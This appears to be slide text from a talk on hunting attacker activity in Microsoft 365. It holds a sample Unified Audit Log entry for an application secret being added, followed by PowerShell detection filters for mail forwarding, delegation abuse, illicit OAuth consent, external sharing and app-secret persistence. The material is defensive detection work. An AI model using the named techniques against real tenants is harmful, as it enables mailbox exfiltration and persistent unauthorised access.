PS C:\> Search-UnifiedAuditLog -operations 'Update application - Certificates and secrets management' -startdate 2022-06-24 -enddate 2022-06-26
```

Operations : Update application - Certificates and secrets management

```
4 UserIds      : admin@threathunting.dev
5 Operations   : Update application - Certificates and secrets management
6 AuditData    : {"CreationTime":"2022-06-25T02:18:16","Id":"0ba92b48-8930-4bf5-a1ec-4fa8fa5f7305","Operation":"Update
7               application - Certificates and secrets management ","OrganizationId":"3ccddf89-7c18-4cc5-af80-f4f155dc
8               78a7","RecordType":8,"ResultStatus":"Success","UserKey":"10032000C0A69155@threathunting.dev","
9               UserType":0,"Version":1,"Workload":"AzureActiveDirectory","ObjectId":"Application_5929b892-d83c-4fec-8
10              caa-b9d0709c5f2f","UserId":"admin@threathunting.dev","AzureActiveDirectoryEventType":1,"E
11              xtendedProperties":[{"Name":"additionalDetails","Value":{"User-Agent":"Mozilla/5.0 (Windows NT
12              10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36","AppId\
13              :":"f810cde0-f850-49af-be4a-f0dc14aff9b5"}}, {"Name":"extendedAuditEventCategory","Value":"Application
14              "}], "ModifiedProperties": [{"Name":"KeyDescription","NewValue":"[\\r\\n \\t]KeyIdentifier=31154e3c-cfd0-4
15              a66-8e4f-54e88fc74b8a,KeyType=Password,KeyUsage=Verify,DisplayName=Secret]\\r\\n", "OldValue": "[ ]", {"
16              Name":"Included Updated Properties","NewValue":"KeyDescription","OldValue":""}], "Actor": [{"ID":"thirum
17              alai@threathunting.dev","Type":5}, {"ID":"10032000C0A69155","Type":3}, {"ID":"18ed3507-a475-4ccb
18              -b669-d66bc9f2a36e","Type":2}, {"ID":"User_ce4d1c72-c88d-44e4-becc-4c84cd26f778","Type":2}, {"ID":"ce4d1
19              c72-c88d-44e4-becc-4c84cd26f778","Type":2}, {"ID":"User","Type":2}], "ActorContextId":"3ccddf89-7c18-4cc
20              5-af80-f4f155dc78a7"}
21
22 KeyType=Password,KeyUsage=Verify,DisplayName=Secret]
23
24 }], "TargetContextId":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7"}
25 ResultIndex : 1
26 ResultCount : 1
27 Identity    : 0ba92b48-8930-4bf5-a1ec-4fa8fa5f7305
28 IsValid     : True
29 ObjectState : Unchanged
```

TakeAways

M365 Hunting - Unified Audit Logs (UAL)



M365 Hunting - Configuration

M365 Hunting Configuration

Abusing Exchange Online Services

- Get-Mailbox
 - (Null -ne \$_.ForwardingSmtpAddress)
- Get-InboxRule
 - (\$Null -ne \$_.ForwardTo) -or (\$Null -ne \$_.RedirectTo) -or (\$Null -ne \$_.ForwardAsAttachmentTo)
- Get-TransportRule
 - (\$Null -ne \$_.BlindCopyTo)
- Get-MailboxPermission
 - Accessrights -like "FullAccess"
- Get-RecipientPermission
 - Accessrights -like "SendAs"
- Get-MailboxFolderPermission
 - user -like 'Anonymous' -or (\$_user -like 'Default') -and (\$_AccessRights -ne 'None')

Automated Email Forwarding

Delegation

Mailbox folder Permissions

Abusing Microsoft flows

- Get-AdminFlow
 - ForwardEmail
- Get-AdminFlow
 - CreateFile

Automated Email Forwarding

Data Extractions

Persistent Privileged Role

- Get-RoleGroup,
 - Get-ManagementRoleAssignment
- Role ApplicationImpersonation

Bulk Email Extractions

Illicit Consent Grants

- Get-AzureADServicePrincipalOAuth2PermissionGrant
 - ConsentType , Scope

Social Engineering

Abusing SharePoint Online

- Get-SPOTenant
 - SharingCapability

External Sharing Settings

Maintain Persistent Access

- Get-AzureADServicePrincipal
- Get-AzureAD Application
 - PasswordCredentials.Count -ne 0 -or KeyCredentials.Count -ne 0

Assign Secrets to Applications or Service Principals

Thanks for listening!

Thirumalai Natarajan

 @Th1ruM

 www.linkedin.com/in/thirumalainatarajan

Anurag Khanna

 @khannaanurag

 www.linkedin.com/in/khannaanurag